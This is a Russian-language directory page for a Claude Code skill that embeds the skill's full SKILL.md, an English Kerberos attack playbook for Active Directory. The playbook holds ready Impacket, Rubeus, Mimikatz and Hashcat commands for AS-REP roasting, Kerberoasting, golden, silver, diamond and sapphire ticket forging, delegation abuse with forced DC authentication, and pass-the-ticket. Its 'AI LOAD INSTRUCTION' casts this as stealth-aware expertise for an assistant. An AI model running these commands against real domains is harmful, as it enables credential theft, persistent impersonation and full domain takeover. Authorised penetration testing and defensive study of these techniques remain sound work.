К основному содержанию
скилл CX Codex

active-directory-kerberos-attacks — скилл для Claude Code

Плейбук по атакам на Kerberos в Active Directory: от сбора хэшей AS-REP и TGS до подделки билетов и эксплуатации делегирования.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks -a claude-code
Открыть на GitHub

Что делает active-directory-kerberos-attacks

Скилл даёт ассистенту сценарии и точный синтаксис утилит для аудита Kerberos в Active Directory. В инструкции заложены команды под Linux и Windows: скрипты Impacket (GetNPUsers.py, GetUserSPNs.py, ticketer.py, getST.py), вызовы Rubeus.exe, синтаксис Mimikatz, командлеты PowerView и режимы Hashcat (18200 для AS-REP, 13100 для RC4 TGS и 19700 для AES).

Материал разбирает атакующие цепочки по шагам. Модель получает параметры для извлечения хэшей учётных записей без предварительной аутентификации (AS-REP roasting), запроса SPN-билетов (Kerberoasting) и генерации Golden, Silver, Diamond и Sapphire билетов. Для создания Golden Ticket обязательно нужен NTLM-хэш учётной записи krbtgt, полученный через DCSync или NTDS.dit.

Отдельный блок посвящён делегированию — неконтролируемому с перехватом через SpoolSample и контролируемому через S4U2Self и S4U2Proxy. Скилл помогает сразу составить готовую команду вместо ручного поиска флагов.

Какие задачи решает

  • Собрать и расшифровать AS-REP хэши учётных записей без предварительной аутентификации
  • Запросить TGS-билеты сервисных записей с SPN и подготовить их к подбору в Hashcat
  • Сгенерировать поддельный Golden или Silver билет для закрепления в домене
  • Эксплуатировать механизмы Constrained и Unconstrained делегирования

Примеры запросов агенту

  • Покажи команду Impacket для AS-REP roasting по списку пользователей users.txt
  • Как выпустить Golden Ticket через Rubeus, если известен хэш krbtgt?
  • Составь команду getST.py для атаки на constrained delegation через S4U2Proxy

Как установить active-directory-kerberos-attacks

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks -a claude-code

2Вручную: положить файлы

~/.claude/skills/active-directory-kerberos-attacks/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/active-directory-kerberos-attacks/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора93

hash-attack-techniques Плейбук по атакам на хеш-функции: length extension, коллизии MD5 и SHA-1, тайминги HMAC, proof of work. Для CTF и проверок по договору. CX Codex +1 3 600установок arbitrary-write-to-rce Справочник по превращению произвольной записи в запуск кода. Подсказывает рабочие цели в памяти с учётом версий glibc. CX Codex +1 3 600установок active-directory-certificate-services Скилл разбирает уязвимые настройки AD CS и сценарии ESC1–ESC13. Пригодится для проверки эскалации привилегий и сертификатной персистентности в Active Directory. CX Codex +1 3 600установок saml-sso-assertion-attacks Плейбук для тестирования SAML SSO: проверяет, какие узлы XML подписаны, как валидируются Audience и ACS, где ломается доверие между IdP и SP. CX Codex +1 3 600установок http2-specific-attacks Скилл для проверки атак, связанных с HTTP/2: h2c, псевдозаголовками, HPACK и мультиплексированием. Нужен при аудите целей с поддержкой HTTP/2. CX Codex +1 3 600установок clickjacking Плейбук по кликджекингу: помогает выяснить, грузится ли страница в iframe и можно ли через невидимый оверлей нажать чужую кнопку. CX Codex +1 3 600установок jndi-injection Плейбук по JNDI-инъекциям: разбирает lookup через RMI и LDAP, ограничения версий JDK и обходы после 8u191. Пригодится при проверке Java-приложений на Log4Shell. CX Codex +1 3 600установок active-directory-acl-abuse Плейбук по злоупотреблению правами Active Directory: опасные ACE, DCSync, shadow credentials, LAPS и пути из BloodHound. CX Codex +1 3 600установок

Похожие

analyzing-active-directory-acl-abuse mahipal Читает DACL объектов Active Directory через ldap3, разбирает их в SDDL и показывает ACE, где GenericAll, WriteDACL или WriteOwner достались не админам. CX Codex +1 548установок abusing-dpapi-for-credential-access mahipal Руководство по извлечению секретов Windows DPAPI: сохранённых паролей Credential Manager, кук браузеров и ключей. Пригодится на пентестах после получения доступа к хосту. CX Codex +1 442установок ad-security-reviewer VoltAgent Community Анализирует конфигурацию Active Directory, находит пути эскалации привилегий и готовит скрипты исправления. Помогает проверить GPO и учетные записи. 212установок powershell-5.1-expert VoltAgent Community Субагент пишет и проверяет PowerShell 5.1-скрипты для Windows-инфраструктуры, включая Active Directory, DNS, DHCP и GPO. 196установок rds-sqlserver aws Скилл для подключения приложений к Amazon RDS for SQL Server: драйверы, строки подключения, Kerberos, IAM через RDS Proxy и разбор типовых ошибок. CX Codex +1 4 600установок active-research actionbook Скилл ведёт исследование по теме, статье arXiv или ссылке и собирает HTML-отчёт. Пригодится, когда нужен разбор материала, а не пара найденных страниц. CX Codex +1 2 800установок

Вопросы о active-directory-kerberos-attacks

Как установить active-directory-kerberos-attacks в Claude Code?

Выполните команду npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks -a claude-code.

Что делает скилл active-directory-kerberos-attacks?

Он загружает в ассистента практическое руководство по атакам на Kerberos в среде Active Directory, включая синтаксис для Impacket, Rubeus, PowerView и Hashcat.

Что требуется для создания Golden Ticket по этому руководству?

Нужен NTLM-хэш учётной записи krbtgt, извлечённый через DCSync или NTDS.dit, а также SID домена. Билет остаётся рабочим до двойной смены пароля krbtgt.

Исходный текст

SKILL.md · MIT
---
name: active-directory-kerberos-attacks
description: >-
  Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
---

# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide

> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement

### Advanced Reference

Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:
- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
- End-to-end scenarios from foothold to domain admin
- Chained delegation attack flows

---

## 1. KERBEROS AUTHENTICATION PRIMER

```
Client              KDC (DC)              Service
  │                   │                     │
  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds
  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)
  │                   │                     │
  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket
  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)
  │                   │                     │
  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service
  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)
```

---

## 2. AS-REP ROASTING

Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.

### Enumerate Vulnerable Users

```bash
# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
```

### Crack AS-REP Hash

```bash
# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

# John
john asrep.txt --wordlist=rockyou.txt
```

---

## 3. KERBEROASTING

Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.

### Request Service Tickets

```bash
# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
```

### Crack TGS Hash

```bash
# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg
```

---

## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE

### Golden Ticket

Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.

```bash
# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
```

**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit)
**Persistence**: Valid until krbtgt password is changed **twice**

### Silver Ticket

Forge TGS using the service account's hash → access specific service only, no KDC interaction.

```bash
# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
```

| Target Service | SPN Format | Use Case |
|---|---|---|
| File shares | `cifs/host` | Access SMB shares |
| WinRM | `http/host` | Remote PowerShell |
| LDAP | `ldap/dc` | DCSync-like queries |
| MSSQL | `MSSQLSvc/host:1433` | Database access |
| Exchange | `http/mail.domain.com` | Mailbox access |

### Diamond Ticket

Modify a legitimately issued TGT → harder to detect than golden ticket.

```bash
# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
```

**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.

### Sapphire Ticket

Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

```bash
# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
```

**Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult.

---

## 5. DELEGATION ATTACKS

### Unconstrained Delegation

Hosts with unconstrained delegation store user TGTs in memory.

```bash
# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap

# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
```

### Constrained Delegation (S4U2Proxy)

```bash
# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP

# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
```

### Resource-Based Constrained Delegation (RBCD)

Requires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.

```bash
# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password

# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password

# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP

# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
```

---

## 6. PASS-THE-TICKET & OVERPASS-THE-HASH

### Pass-the-Ticket

```bash
# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/[email protected]

# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi

# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob
```

### Overpass-the-Hash (Pass-the-Key)

Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).

```bash
# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
```

---

## 7. KERBEROS DOUBLE HOP PROBLEM

When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.

### Solutions

| Method | How | Risk |
|---|---|---|
| CredSSP | Sends actual credentials to B | Credential exposure |
| Unconstrained delegation on B | B stores A's TGT | Over-privileged |
| Constrained delegation | B allowed to delegate to C | Preferred — scoped |
| RBCD | C trusts B to delegate | Modern, flexible |
| Invoke-Command nested | `-Credential` param in nested session | Exposes password in script |

---

## 8. KERBEROS ATTACK DECISION TREE

```
AD environment — targeting Kerberos
│
├── Have domain user creds?
│   ├── Kerberoast → crack service account hashes (§3)
│   ├── Enumerate users without preauth → AS-REP roast (§2)
│   ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│   └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│   ├── Silver ticket for that service (§4)
│   └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│   ├── Golden ticket → any user, any service (§4)
│   ├── Diamond ticket → stealthier forging (§4)
│   └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│   ├── Monitor for incoming TGTs (Rubeus monitor)
│   ├── Coerce DC authentication (PrinterBug/PetitPotam)
│   └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│   └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│   └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
    └── Pass-the-Ticket → use directly (§6)
```

© yaklang · MIT · yaklang/hack-skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой